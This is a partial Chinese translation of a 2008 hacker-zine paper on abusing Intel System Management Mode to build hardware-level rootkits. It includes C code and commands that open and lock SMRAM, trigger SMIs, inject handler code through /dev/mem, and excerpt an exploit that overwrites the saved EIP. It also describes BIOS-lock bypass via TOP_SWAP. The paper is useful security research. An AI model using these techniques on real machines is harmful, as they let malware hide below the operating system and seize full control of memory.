|=-----------------------------------------------------------------------=|
|=-----------------=[ System Management Mode Hack ]=------------------=|
|=-----------------=[ Using SMM for "Other Purposes" ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ By BSDaemon ]=--------------=|
|=---------------=[ <bsdaemon *noSPAM* risesecurity_org> ]=--------------=|
|=---------------=[ ]=--------------=|
|=---------------=[ coideloko ]=--------------=|
|=---------------=[ <cdlk *noSPAM* kernelhacking_com>]=--------------=|
|=---------------=[ ]=--------------=|
|=---------------=[ D0nAnd0n ]=--------------=|
|=---------------=[ <d0nand0n *noSPAM* kernelhacking.com>]=--------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ March 29 2008 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
"Very nice! How much?"
- Borat Sagdyiev
------[ Index
1 - Introduction
1.1 - Paper structure
2 - System Management Mode
2.1 - Pentium modes of operation
2.2 - SMM Overview
2.2.1 - SMRAM
2.2.2 - SMI Handler
2.2.3 - SMI Triggering
2.2.4 - Duflot discovery - Exploit
2.3 - Duflot misses
2.3.1 - PCI Configuration
2.3.2 - Why and when the system generates a SMI
2.4 - SMM Internals - Our first experiences
2.4.1 - Analysing the SMM registers
2.4.2 - SMM Details
3 - SMM for evil purposes
3.1 - Challenges
3.1.1 - Cache-originated overwrites
3.1.2 - SMM Locking
3.1.3 - Portability
3.1.4 - Address translation
3.2 - Copying our code in the SMM space
3.2.1 - Testing
3.2.2 - Descriptor caches
3.2.3 - Code relocation
4 - SMM Manipulation Library
5 - Future and other uses
6 - Acknowledgements
7 - References
8 - Sources - Implementation details
------[ 1 - 概述
本文将讲述Intel体系结构的一些细节，以及邪恶用户如何编写硬件保护级的邪恶软件。
当然，因为本文的重点是 System Management Mode 特性，我们将深入Duflot（注二）的学习，
演示如何创建一个稳定的系统运行在SMM模式。
必须注意的是本文的内容是体系结构相关的，本文只关注Intel处理器。
因为运行在SMM里的恶意软件可以控制整个内存，修改内核结构，所以可以成为强大的rootkits。
---[ 1.1 - 文章结构
本文的目的是完整地研究将SMM用在开发恶意软件上。
因此本文在结构上被分为重要的两个部分。章节2讲述基本的奔腾处理器操作模式，它将阐述Duflot
的研究的基础。之后将说明Duflot遗漏的，系统行为如何对我们设置许可；介绍SMM的内部机制和我们
控制SMM的编程库和工具。
章节3讲述了如何以邪恶目的使用SMM，以及使用开发库的例子。
------[ 2 - 系统管理模式
摘自Intel手册：
Intel系统管理模式（System Management Mode，SMM）是专门为电源管理设计的执行规则。
使用SMM后，系统的各个部件可以被关闭或者使用最低的功耗。SMM独立于其他的系统软件，也可以被
用在其他目的。
每当我们看到"and can be used for other purposes" 这样的话时就会去想，到底什么是其它目的。
Internet上关于SMM的信息就是电源管理，说不出别的目的。
2006年，Duflot和其他一些人发布了一篇文章，讲述如何把SMM用在逃避系统保护上。这是第一次另类的使用
SMM的公开展示，并给出了一些方案（像如何把代码放进SMM，如何控制SMM里的系统内存，如何强迫系统进入SMM）。
Duflot遗漏的问题也将在本文回答（如何创建稳定的代码去控制SMM，如何控制SMM寄存器，创建稳定的SMM代码的
困难，以及Duflot仅仅提到的为什么系统行为阻碍了他）。
---[ 2.1 - 奔腾的操作模式
每个人都知道P6家族处理器的操作模式：
实模式是16位地址模式，保持处理器向前兼容，现在仅仅在启动时才会用到。保护模式是32位地址，提供了现代操作
系统使用的保护模式。虚拟8086模式广泛用来运行为老的体系结构编写的程序，如8086、8088。
系统管理模式是另外的一种操作模式，如前所述，是用在电源管理功能上的。
Intel处理器手册卷三已经说明了在这些操作模式之间的转换方法。
------------------- SMI (interrupt)
|->|Real Address Mode| -------------------------------------------|
| ------------------- <----------------------------------| |
| | PE=1 ^ PE=0 (requires ring0) or |rsm or |
| v | reset |reset V
| ------------------- ---------
reset | | Protected Mode | -------> SMI (interrupt) ------> | SMM Mode |
| ------------------- <------- rsm instruction <------ ---------
| | VM=1 ^ VM=0 | ^
| v | |rsm |
| ------------------- <----------------------------------| |
|- |Virtual 8086 Mode| -------------------------------------------|
------------------- SMI (interrupt)
P.S.:PE 和 VM是CR0（control register 0，控制寄存器0）里的标志位。
我们从这里得出：
Intel构架下的任何操作模式在一个SMI中断发出时都可以切换到系统管理模式。
系统管理模式将通过发出一个rsm指令返回到前一个操作模式（处理器会读一个在进入SMM前
保存的当前的操作模式状态）。
---[ 2.2 - SMM 概述
首先，在系统进入SMM模式时，整个处理器上下文必须被保存以便恢复。这样，处理器将进入特殊的上下文
并开始执行SMI操作。从这个模式（SMM）返回前一个操作模式可以通过RSM指令（只能在SMM模式里使用此指令）
完成，此指令会读取保存的处理器上下文并回到上一个操作模式。
同样的，在SMM里分页机制不可用，你有16位的操作模式，但是可以寻址所有的物理内存。
没有对I/O端口和内存的限制，相当于Ring0的权限（实际上，在SMM有时候只能控制系统内存）。
Duflot演示了一种你自己发出SMI中断，强迫系统进入SMM模式，改变系统内存绕过保护措施
（他的例子是在OpenBsd上的）然后执行自己的代码。
---[ 2.2.1 - SMRAM
System Management Mode有一个特殊的内存区域称为SMRAM。它开始于SMBASE，占0x1FFFF 字节
（如果使用了扩展的SMRAM，这个数值将更大）。
SMBASE默认为0x30000，但是因为现代芯片的组织更新，实际上是0xA0000（BIOS将它通过视频卡的
I/O端口重新加载到基于内存映射的地址）。
正如Duflot指出的，内存控制Hub有一个称为SMRAM控制寄存器（SMRAM Control Register）的控制寄存器。
在上面设置一位后（(D_OPEN - bit 6)），使得整个内存的地址空间都可以作为SMBASE重定向到SMRAM。
如果处理器不在SMM模式，且D_OPEN没有被设置，所有对SMRAM的内存地址的读取都是按照视频卡的规则（正如前面所说，
这片地址已经被定位到共享地址），－对SMRAM进行保护，稍后我们也用这个来保护我们的恶意软件。否则，如果
D_OPEN被设置，这个地址就是SMRAM的地址。
他展示的另外一个重要的事情是SMRAM Control Register的第4位 (D_LCK)。如果它被设置，将保护
SMRAM control register 和SMRAM ，如果D_OPEN也没有被置位，控制寄存器将被锁。如果更改
这个位，系统需要重启（这给了我们一个重大的挑战，因为大多数现代BIOS都将锁住SMRAM控制寄存器）。
虽然这些在Intel的手册里说的很详细，但是事实上一个超级用户可以通过视频驱动写它，然后强制触发
一个SMI中断。
当进入SMM，处理器将跳转到SMBASE+0x8000（意味着SMI中断处理程序必须位于SMRAM里0x8000的位置）。
因为当D_OPEN 被置位，我们就可以把一些代码放进SMRAM，只需要强制触发一个SMI中断来执行这些代码。
-----------------
SMBASE+0x1FFFF | |
| |
| |
| |
SMBASE+0xFFFF -----------------
| |
| State save area |
| |
SMBASE+0xFE00 -----------------
| |
| Code,Heap,Stack |
| |
SMBASE+0x8000 ----------------- ----> First SMI Handler instruction
| |
| |
| |
SMBASE=0xA0000 -----------------
---[ 2.2.2 - SMI 处理程序（SMI Handler）
一旦我们要设置D_OPEN位，我们要想办法避免显卡的使用，因为此时对显卡内存的访问将会被重定向到
SMRAM，而不是显卡。Duflot没有展示如何做到这一点，因为他的例子是在OpenBsd上的，假设没有
使用显卡（他的exploit运行在OpenBsd上，但是关键的，没有使用X）。
在我们的例子里，我们也将演示如何直接操作寄存器，但是我们使用libpci确保不会出现这样的问题
（因为libpci使用系统接口管理PCI子系统，避免出现资源竞争状况）。libpci也更可靠，因为它支持
很多不同的操作系统。
因此，把攻击代码插入SMI Handler需要
－检查D_LCK 位是否没有被置位
－设置D_OPEN位
－有内存空间的存取能力（在这里，0xA0000-0xBFFFF）
为了存取内存，我们使用/dev/mem设备映射内存，因为它提供了物理内存地址的存取
（而不是 /dev/kmem，它提供的是虚拟内存的全镜像）。
---[ 2.2.3 - SMI 触发
因为SMI触发是一个硬件中断，没有软件指令去产生它。一些芯片可以产生它
（Intel 82801 BA-I/O Controler HUB (ICH2) 、
Intel 82845 Memory Controler HUB (MCH) Datasheet）。
Duflot在他的文章中也提到了SMI_EN寄存器，它的最低有效位用来全局标识SMI是否可用。
SMI_EN寄存器的其他位标识那些设备可以产生一个 SMI中断。
SMI_STS 寄存器保持记录上一个产生SMI中断的设备。
这些寄存器可以使用正式的PCI机制来存取（in和out）。他们的位置是可变的，但是相对于PMBASE
的地址是(SMI_EN=PMBASE+0x30 and SMI_STS=PMBASE+0x34).
PMBASE可以通过使用bus 0, device 0x1F, function 0 and offset 0x40访问。
更多的关于PCI机制的细节见2.3.1小节。
---[ 2.2.4 - Duflot 的发现 - Exploit
在Duflot和他的朋友们的文章里展示了一种OpenBSD上的exploit。这是我们首先要分析的代码，
也仅仅需要很少的修改就能移植到Linux上。正如前面说的，使用x server会带来一些问题，因为
需要重定向使用显卡的内存地址去访问SMRAM.
因为Linux操作系统同大多数Unix一样，可以在用户模式提高I/O等级。 exploit可以使用in/out指令。
if(iopl(3) < 0) {
To get access to the SMRAM, the D_OPEN bit must be set:
outl(data1, 0xcf8);
outl(data2, 0xcfc);
这段代码执行的是
addr32 mov $test, %eax
mov %eax, %cs:0xfff0
这里的偏移量0xfff0是SMRAM里保存的EIP状态。这样在系统执行rsm指令回到保护模式时，会执行
我们的test（）函数（译者注：EIP相当于计算机体系结构里说的PC寄存器，这里修改了EIP的值）。
Duflot发现访问可编程I/O 端口 0xB2设置SMI_EN寄存器的第5位可以产生一个SMI
outl(0x0000000f, 0xb2);
这确实很有趣，但是我们能用它来做什么呢？
---[ 2.3 - Duflot 遗漏的
在Duflot的文章里没有演示PCI机制如何工作，他仅仅只是说如： 把端口0xCF8作为地址，端口0xCFC执行
操作等等。他没有说什么时候，为什么系统会产生一个SMI中断。使用SMM去控制系统内存确实应该展开说，
创造一个恶意软件运行在SMM或绕过启动保护机制。
本章余下的部分和下一张将阐述SMM如何工作和我们能在SMM里做什么。当然，最好还能展示如何分析一个系统，
创建可靠的库去控制SMM相关的寄存器。
---[ 2.3.1 - PCI 机制
通常来说，有两种I/O端口，一种是地址端口（0xCF8-0xCFB），另一种是数据端口（0xCFC-0xCFF)。
为了配置一个设备，你必须首先写要访问的设备和寄存器的地址端口，然后才能从数据端口读写数据。写
地址端口的数据格式如下：
位 描述
0..1 00b (总是 0)
2..7 Which 32-bit space in the config space to access
8..10 Device function
11..15 Device Number
完整的PCI设备清单可以从 http://www.pcidatabase.com获得。
PCI设备的地址被分解为一个PCI总线号，一个设备号(values 0-31)，一个功能号(values 0-7）。
为了在bus:device:function 这些PCI空间里存取一个寄存器REG，你需要如下的地址
0x80000000L | ((bus & 0xFF) << 16) |
((((unsigned)device) & 0x1F) << 11) |
((((unsigned)func) & 0x07) << 8) | (REG & 0xFC);
每个PCI设备的配置通常都有一个或多个基址寄存器，用来设置或寻找物理内存或每一个
资源的I/O空间的地址。
---[ 2.3.2 - When and why 系统产生一个 SMI
所有来自CPU的内存事务（读／写许可）在主总线上被一些设备耗尽。
如果CPU自己译码来自内存的一段数据，如同本地的APIC（Advanced Programmable
Interrupt Controller高级程序中断控制器. ），事务就根本不需要外部总线。
如果CPU没有译码，那么这些内存数据必须被发出去。在一个典型的Intel体系结构，这些将被
MCH (Memory Controller Hub)译码，也被要求作为MCH拥有的地址。如果基于译码发现
这个事务不属于MCH，将被投递到链上的下一个设备。
如果MCH在真实的DRAM里找不到这个地址，它将在自己拥有的其他I/O范围里寻找（ISA, EISA, PCI）。
在旧的系统中，MCH将会精确译码，而不是把它传给I/O 桥。
如果MCH认为这个事务不属于它，这个事务将被转投到系统中可能存在的其他I/O 桥。
这个 确认所有权/响应 或者转投 的译码处理过程如果没有其他情况将循环下去。
最后的出口不是一个事务处理代理，就是返回这个地址上的值。或者这个地址没有事务代理，
返回一个终止错误，通常是0FFFFFFFFh的数据被返回。
在某些情况下，有些地址被两种不同的设备所拥有（例如在0A0000h - 0BFFFFh，
VGA frame buffer and system memory ），这将强迫体系结构发出一个SMI中断
满足这个事务。
如果SMI没有发生，事务会绕过MCH被VGA控制器捕获。
如果当事务把被MCH接受时发生SMI，事务将被定位到DRAM 单元，执行我们的代码。
---[ 2.4 - SMM 内部 - 我们的第一份经验
这里我们将展示SMM一些重要的细节和它如何工作，这对理解我们的附件里的库很有帮助。
---[ 2.4.1 - SMM 寄存器分析
让我们使用libpci来分析SMM，来获得更大的稳定性。
以下代码在ICH5 和 ICH3M 控制器上运行良好。
--- code ---
#include <stdio.h>
#include <pci/pci.h>
#include <sys/io.h>
/* Defines - bit positions (will be used in more samples) */
#define D_OPEN_BIT (0x01 << 6)
#define D_CLS_BIT (0x01 << 5)
#define D_LCK_BIT (0x01 << 4)
#define G_SMRAME_BIT (0x01 << 3)
#define C_BASE_SEG2_BIT (0x01 << 2)
#define C_BASE_SEG1_BIT (0x01 << 1)
#define C_BASE_SEG0_BIT (0x01)
/* Function to print SMRAM registers */
void show_smram(struct pci_dev* SMRAM)
{
u8 smram_value;
/* Provided by libpci */
smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET);
if(smram_value & D_OPEN_BIT) {
printf("D_OPEN_BIT: 1\n");
} else {
printf("D_OPEN_BIT: 0\n");
}
if(smram_value & D_CLS_BIT) {
printf("D_CLS_BIT: 1\n");
} else {
printf("D_CLS_BIT: 0\n");
}
if(smram_value & D_LCK_BIT) {
printf("D_LCK_BIT: 1\n");
} else {
printf("D_LCK_BIT: 0\n");
}
if(smram_value & G_SMRAME_BIT) {
printf("G_SMRAME_BIT: 1\n");
} else {
printf("G_SMRAME_BIT: 0\n");
}
if(smram_value & C_BASE_SEG2_BIT) {
printf("C_BASE_SEG2_BIT: 1\n");
} else {
printf("C_BASE_SEG2_BIT: 0\n");
}
if(smram_value & C_BASE_SEG1_BIT) {
printf("C_BASE_SEG1_BIT: 1\n");
} else {
printf("C_BASE_SEG1_BIT: 0\n");
}
if(smram_value & C_BASE_SEG0_BIT) {
printf("C_BASE_SEG0_BIT: 1\n");
} else {
printf("C_BASE_SEG0_BIT: 0\n");
}
printf("\n");
}
int main(void) {
struct pci_access *pacc;
struct pci_dev *SMRAM;
/* Provided by libpci */
pacc = pci_alloc();
pci_init(pacc);
SMRAM = pci_get_dev(pacc, 0, 0, 0, 0);
printf("Current status of SMRAM:\n");
show_smram(SMRAM);
printf("Setting D_OPEN to 1\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a);
show_smram(SMRAM);
printf("Locking SMRAM\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a);
show_smram(SMRAM);
printf("Trying to set D_OPEN to 0\n");
pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a);
show_smram(SMRAM);
return 0;
}
--- end code ---
编译
gcc -o brazil_smm1 brazil_smm1.c -lpci -lz
一个执行例子
rrbranco:~/Phrack# ./brazil_smm1
Current status of SMRAM:
D_OPEN_BIT: 0
D_CLS_BIT: 0
D_LCK_BIT: 0
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Setting D_OPEN to 1
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 0
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Locking SMRAM
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 1
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
Trying to set D_OPEN to 0
D_OPEN_BIT: 1
D_CLS_BIT: 0
D_LCK_BIT: 1
G_SMRAME_BIT: 0
C_BASE_SEG2_BIT: 0
C_BASE_SEG1_BIT: 0
C_BASE_SEG0_BIT: 0
---[ 2.4.2 - SMM 细节
当处理器进入SMM模式会发出一个SMIACT#讯号，告诉芯片cpu处于SMM模式。
SMI中断能在除了SMM模式以外任何时间触发。将导致SMM处理程序执行。一旦SMIACT#讯号
被芯片检测到，远内存地址将被重定位到SMRAM饱和的内存。在那之后，cpu开始保存内部状态
到SMRAM里的内部状态保存映射区。然后，SMM处理程序开始执行。
当前是什么状态？系统处于实模式，所有的段组成了4GB，并且可以读写。
如前所述，为了离开SMM模式，SMM处理程序执行一条rsm指令。处理器再次读 状态保存映射区，
仅仅执行一些检查（很好），把系统恢复到前一个状态。
SMM把信息写入状态保存映射区是一种像栈一样的处理方式，从SMBASE寄存器（允许重定位）的顶部到底部，
记着这个对操作状态保存映射区很有帮助。
如果SMM是由于关机或者I/O指令造成的，SMM处理程序会仅仅根据入状态保存映射区的一个标志来决定
是返回继续执行还是关机。
在SMM的入口中断是禁止的，包括NMI中断和INIT ，IDT保持不变。为了在SMM里响应中断（为了我们的目的），
需要重新建立一个我们自己的中断向量表，用它替换原来的IDT。因为老的IDT里的地址空间在SMM模式下不再有效。
在STI指令后，系统开始接受一些中断，但是NMI仍然不可以用。要使用它，执行IRET/IRETD指令。
在SMM里最重要的可以重新使用的中断是如果一个NMI中断被接受，将被记住。所以如果hook了NMI中断程序就
可以绕过SMM的任何证明（NMI中断程序将在rsm之后立刻执行，在执行保存在状态保存映射区里的EIP之前）。
在我们的测始中，SMM重设置给我们带来了一些问题（在早期机器上(pentium II/III)）。当然，我们更喜欢在
老式机器上执行这些测试，因为那些BIOS没有设置SMM锁（通常，BIOS比cpu还要早2年）。
看样子，老cpu有一个固定的CS值指向0x30000（默认的SMM位置，现代BIOS重定位到 0xA0000）。
如果我们在SMM里恢复中断，当一个中断被请求，cpu将保存CS:IP 为了以后的恢复。
但是它将使用固定的CS而不是SMBASE的值，没有反映SMM真实使用的段，因此代码会返回到错误的位置。
当然，Intel的文档还提到了SMBASE在老式CPU上的对齐问题，向前到P4。
------[ 3 - SMM for evil purposes
如前所述，SMM可以用来修改系统内核结构，这里我们就展示SMM里的恶意软件挑战和其他的一些可能的方法。
---[ 3.1 - 挑战
---[ 3.1.1 - 原始Cache 改写
在进入SMM时如果发生一个 #FLUSH，SMRAM可能被cache中的数据改写。
为了避免这些问题，我们可以把SMRAM映射到没有cache的区域，或者断言#FLUSH 和#SMI同时事件，
（#FLUSH将被首先执行）。大部分的BIOS设置SMRAM 位于没有cache的区域，但是同时也锁住了它。
---[ 3.1.2 - SMM 锁
大部分的BIOS制造商如今锁住了SMM，如果只是在保护主机上使用SMM，可以用开源BIOS替换原来的BIOS。
我们讨论的恶意代码不能使用，必须打BIOS补丁。
一种很好的绕过BIOS的保护方式是使用TOP_SWAP [8]位，在执行原BIOS之前执行我们的SMM处理程序并且
锁住它，这样可以防止原来的BIOS覆盖我们的SMM处理程序。
通常，这个位用来决定是从第一个64k还是第二个64k开始加载BIOS，看到这里，设置TOP_SWAP位，
把自己的代码放在第二个64k，在自己的代码里跳回原来的BIOS。这样的代码会在BIOS之前执行。
TOP_SWAP位给BIOS更新提供了一种安全方法。把原始的BIOS拷贝到第二个64k，当BIOS更新
完成，经过正式的检查，如果出现了什么问题使机器重启，可以使用第二个64k的BIOS来进行
没有问题的启动。
---[ 3.1.3 - 可移植性
如前所述，SMM是基于硬件的，更确切地说，是基于ICH的。附带的代码在ICH5 和 ICH3M上
运行良好，在Linux下测试通过，因为采用libpci，也支持FreeBSD,
NetBSD, OpenBSD (也在上面测试过), Solaris, Aix, GNU/Hurd and Windows).
为了获得在其他ICH芯片上的支持，必须修改libSMM.h头文件去描述总线、设备、函数、偏移的
正确值，确保函数get_pmbase()的返回值PMBASE是正确的（参照手册）。
之后，确保SMRAM_OFFSET是正确定义的（参考你的I8xx手册）。如果是，SMRAM控制寄存器里的
值会正确显示（可以使用D_LCK位测试，因为这一位被设置，其他位就不能被更改）。One can also
test it using the dd command showed next in this article and the D_OPEN bit
(use the open_smram function, write to the SMRAM memory mmap'ing it and
then dump it to verify if it's working).
---[ 3.1.4 - Address 转换
地址转换是在SMM里的巨大困难，我们需要CR3的值（可以从状态保存映射区里读取）去手工解析页表，
执行实际的转换。
最好我们能有一个简单的SMI处理程序，给我们的代码最高的权限，这样我们就能少呆在SMM里。
接下来的部分我们讲述如何把代码放进SMM，执行它，然后使用Descriptor caches去提供以
上程序的方法。
---[ 3.2 - Copying our code in the SMM space
---[ 3.2.1 - Testing
首先，把通过设置 D_OPEN位打开SMRAM把一些代码放进SMM。
--- code ---
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT));
--- end code ---
完成后关闭SMRAM ，代码如下
--- code ---
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT));
--- end code ---
当然，进入我们的代码，需要锁住SMRAM的访问，避免其他人对SMM相关寄存器的访问。
--- code ---
pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT));
--- end code ---
为了把我们的代码插入SMRAM存储区，我们需要映射它，像我们在exploit里做的一样
--- code ---
fd = open(MEMDEV, O_RDWR);
if(fd < 0) {
fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno);
return -1;
}
vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
fd, SMIINSTADDRESS);
if(vidmem == MAP_FAILED) {
fprintf(stderr, "Could not map memory area, errno: %d\n", errno);
return -1;
}
close(fd);
/* Here we are copying our code to the SMRAM memory */
if(vidmem != memcpy(vidmem, handler, endhandler-handler)) {
fprintf(stderr, "Could not copy asm to memory...\n");
return -1;
}
if(munmap(vidmem, MAPPEDAREASIZE) < 0) {
fprintf(stderr, "Could not release mapped area, errno: %d\n", errno);
return -1;
}
--- end code ---
有必要验证一下它是否工作得很好，在那之前先对SMRAM内存内容做一个副本。
使用如下命令
dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 - 1` count=64K
P.S.:655360 是 0xa0000 的10进制。（正如Duflot指出的，SMM重定向于0xa0000，
而不是默认的0x30000）
---[ 3.2.2 - Descriptor caches
这个方法只能在一些系统上运行，因为Intel的文档关于这一部分并不是很详细。
摘自Intel的手册：
每一个段寄存器有一个可见部分和一个不可见部分（隐藏部分作为descriptor
cache 或者 shadow register）。当一个段选择器加载段可见部分时，处理器同时也用
base address, segment limit,和来自段选择器指出的段描述符的"Access control information"
加载隐藏部分。
"Access control information"用 xPL:很好理解
- RPL -> Request privilege level
- CPL -> Current privilege level
- DPL -> Descriptor privilege level
在SMRAM里的saved-state map，基于Intel的手册 ，被descriptor caches 和
the CR4寄存器保存（手册还说这是不可读的，写这些值会导致不可预知的行为）。
我们发现
TSS Descriptor Cache (12-bytes) - Offset: FFA7
IDT Descriptor Cache (12-bytes) - Offset: FF9B
GDT Descriptor Cache (12-bytes) - Offset: FF8F
LDT Descriptor Cache (12-bytes) - Offset: FF83
GS Descriptor Cache (12-bytes) - Offset: FF77
FS Descriptor Cache (12-bytes) - Offset: FF6B
DS Descriptor Cache (12-bytes) - Offset: FF5F
SS Descriptor Cache (12-bytes) - Offset: FF53
CS Descriptor Cache (12-bytes) - Offset: FF47
ES Descriptor Cache (12-bytes) - Offset: FF3B
saved-state map被保存在 SMBASE + 0xFE00 to SMBASE + 0xFFFF.
修改SS descriptor cache的DPL域从3到0会给我们的程序Ring0权限（一个新处理器的
保护漏洞）。
---[ 3.2.3 - Code relocation
SMM有能力重定位他的保护内存空间。保存在state save map里的SMBASE可能被修改，
这个值在rsmzhi指令时被读取。当再次进入SMM，SMRAM 将被定位到新位置。
在我们的SMM处理程序里，我们能修改saved-state map的值，(at
offset 0xFEF8 from SMBASE)。为了这么做，我们必须代码里CS的调整。
这用来把SMRAM重定位到我们指定的内存空间，一旦我们的恶意软件锁住了SMM清空了D_OPEN，
我们就不需要这些技术了。
------[ 4 - SMM Manipulation Library
SMM Manipulation Library提供了简单可靠的办法控制SMRAM控制寄存器。
它提供一下方法：
u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show)
It's used to test if specific bits are set or not
The pci_dev structure are optional, NULL can be passed.
u16 get_pmbase (void)
Internally used by the library to manipulate the SMI-enablement.
Exported by the function to turn easy to an external program
verify the correct offsets for the SMI_EN and SMI_STS.
u16 get_smi_en_iop (void)
Return the location of the SMI_EN
u16 get_smi_sts_iop (void)
Return the location of the SMI_STS
int enable_smi_gbl (u16 smi_en_iop)
Enable SMI globally
int disable_smi_gbl (u16 smi_en_iop)
Disable SMI globally
int enable_smi_on_apm (u16 smi_en_iop)
Enable SMI on APM events
int disable_smi_on_apm (u16 smi_en_iop)
Disable SMI on APM events
int open_smram(void)
Open SMRAM for access (set D_OPEN bit)
int close_smram(void)
Close SMRAM for access (unset D_OPEN bit)
int lock_smram(void)
Lock the SMRAM (set D_LCK bit)
void write_to_apm_cnt(void)
Write to the APM CNT (generate a SMI)
当然，包含文件libSMM.h必须必须根据本地的SMM 手册设置正确的值，如device, function bus 和
offsets.这个库也包含对关键寄存器值的设置，如D_OPEN 和the D_LCK.
libSMM_test.c 也依赖于文档，显示如何使用SMM Manipulation Library.这个程序会全部置位
或清空所有的控制寄存器，将会影响到SMM操作。能够用来测试这个库在你的机器上是否运行的很好。它
会测试 D_LCK 位。运行后需要重启系统。
evil.c将用SMM Manipulation Library来插入SMM处理程序，冻结处理器。
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